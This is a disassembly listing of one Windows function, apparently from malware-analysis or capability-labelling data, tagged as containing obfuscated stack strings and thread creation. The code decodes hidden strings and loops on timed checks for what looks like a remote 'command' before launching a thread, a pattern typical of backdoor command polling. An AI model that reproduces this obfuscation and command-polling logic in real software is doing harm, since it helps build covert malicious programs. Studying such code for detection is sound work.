Function at 0x407c4e
Capabilities:
Contain obfuscated stackstrings
Create thread

Disassembly:
push ebp
mov ebp, esp
push edi
push ebx
sub esp, 0x140
mov ebx, 1
mov edi, 0x4141a4
cld
mov eax, 0
mov ecx, 7
rep stosd dword es:[edi], eax
mov word [0x4141c0], 0
lea edi, [ebp - 0x108]
mov ecx, 0xa
rep stosd dword es:[edi], eax
lea edi, [ebp - 0x48]
mov ecx, 0xa
rep stosd dword es:[edi], eax
lea edi, [ebp - 0x78]
mov ecx, 0xa
rep stosd dword es:[edi], eax
lea edi, [ebp - 0xa8]
mov ecx, 0xa
rep stosd dword es:[edi], eax
lea edi, [ebp - 0xd8]
mov ecx, 0xa
rep stosd dword es:[edi], eax
mov dword [esp + 4], str.p515p225982son69p76q604qp7s97975
lea eax, [ebp - 0x48]
mov dword [esp], eax
call fcn.00404c38
mov dword [esp + 4], str.2317q129n58non7o3148por15qs741r3
lea eax, [ebp - 0xa8]
mov dword [esp], eax
call fcn.00404c38
mov dword [ebp - 0x78], 0x77727732
mov dword [ebp - 0x74], 0x66783d62
mov dword [ebp - 0x70], 0x27766170
mov dword [ebp - 0x6c], 0x6d737b67
mov dword [ebp - 0x68], 0x70677e23
mov byte [ebp - 0x64], 0
lea eax, [ebp - 0x78]
mov dword [esp + 4], eax
mov dword [esp], 0x412d31
call fcn.00404c6a
mov dword [ebp - 0xd8], 0x79707534
mov dword [ebp - 0xd4], 0x64693f6c
mov dword [ebp - 0xd0], 0x3974797a
mov dword [ebp - 0xcc], 0x6e607e7a
mov dword [ebp - 0xc8], 0x7e657c25
mov byte [ebp - 0xc4], 0
lea eax, [ebp - 0xd8]
mov dword [esp + 4], eax
mov dword [esp], 0x412d34
call fcn.00404c6a
mov dword [0x4141a4], 0x717c793c
mov dword [0x4141a8], 0x71763b64
mov dword [0x4141ac], 0x3169767a
mov dword [0x4141b0], 0x667c7373
mov dword [0x4141b4], 0x7669702d
mov byte [0x4141b8], 0
mov dword [esp + 4], 0x4141a4
mov dword [esp], 0x412d37
call fcn.00404c6a
mov dword [ebp - 0x108], 0x63686f28
mov dword [ebp - 0x104], 0x6d672578
mov dword [ebp - 0x100], 0x236c766c
mov dword [ebp - 0xfc], 0x7d647c62
mov dword [ebp - 0xf8], 0x7c65386d
mov word [ebp - 0xf4], 0x6b
lea eax, [ebp - 0x108]
mov dword [esp + 4], eax
mov dword [esp], 0x412d3a
call fcn.00404c6a
call fcn.00404ce6
mov dword [0x40d4c0], eax
lea eax, [ebp - 0x18]
mov dword [esp], eax
call sub.KERNEL32.DLL_GetLocalTime
sub esp, 4
movzx eax, word [ebp - 0x18]
movzx edx, word [ebp - 0x16]
add eax, edx
movzx edx, word [ebp - 0x12]
lea eax, [eax + edx + 0xfa8]
mov dword [esp], eax
call fcn.004020f8
cmp ebx, 0x33
jne 0x407e4f
mov ebx, 0
mov dword [esp], 0xfa8
call fcn.004020f8
mov dword [esp], 0x414140
call fcn.00402120
lea eax, [ebp - 0x48]
mov dword [esp + 0x1c], eax
mov dword [esp + 0x18], 1
lea eax, [ebp - 0x10c]
mov dword [esp + 0x14], eax
lea eax, [ebp - 0x110]
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0x412d3d
lea eax, [ebp - 0x78]
mov dword [esp + 4], eax
mov dword [esp], 0x414140
call fcn.00401c2c
test al, al
jne 0x407eac
test ebx, ebx
je 0x407e39
inc ebx
jmp 0x407e39
lea eax, [ebp - 0xa8]
mov dword [esp + 0x1c], eax
mov dword [esp + 0x18], 1
lea eax, [ebp - 0x10c]
mov dword [esp + 0x14], eax
lea eax, [ebp - 0x110]
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0x412d3d
lea eax, [ebp - 0xd8]
mov dword [esp + 4], eax
mov dword [esp], 0x414140
call fcn.00401c2c
test al, al
jne 0x407f0a
test ebx, ebx
je 0x407e39
inc ebx
jmp 0x407e39
mov dword [esp + 0x1c], 0x412d3d
mov dword [esp + 0x18], 0
lea eax, [ebp - 0x10c]
mov dword [esp + 0x14], eax
lea eax, [ebp - 0x110]
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], 1
mov dword [esp + 8], 0x412d3d
lea eax, [ebp - 0x108]
mov dword [esp + 4], eax
mov dword [esp], 0x414140
call fcn.00401c2c
test al, al
je 0x407fb9
cmp dword [ebp - 0x10c], 0
jne 0x407f6f
mov eax, dword [ebp - 0x110]
mov dword [esp], eax
call fcn.004020f8
mov eax, dword [ebp - 0x10c]
cmp eax, dword [ebp - 0x110]
jle 0x407e39
sub eax, dword [ebp - 0x110]
mov dword [ebp - 0x10c], eax
mov dword [esp], eax
call fcn.00404eae
mov dword [ebp - 0x10c], eax
mov eax, dword [ebp - 0x110]
add eax, dword [ebp - 0x10c]
mov dword [esp], eax
call fcn.004020f8
mov ebx, 0
jmp 0x407e39
mov dword [esp + 0x1c], 0x412d3d
mov dword [esp + 0x18], 0
lea eax, [ebp - 0x10c]
mov dword [esp + 0x14], eax
lea eax, [ebp - 0x110]
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], 0
mov dword [esp + 8], str.command
mov dword [esp + 4], 0x4141a4
mov dword [esp], 0x414140
call fcn.00401c2c
test al, al
jne 0x408013
test ebx, ebx
je 0x407e39
inc ebx
jmp 0x407e39
lea eax, [ebp - 0x114]
mov dword [esp + 0x14], eax
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0x407144
mov dword [esp + 4], 0
mov dword [esp], 0
call sub.KERNEL32.DLL_CreateThread
sub esp, 0x18
lea esp, [ebp - 8]
pop ebx
pop edi
pop ebp
ret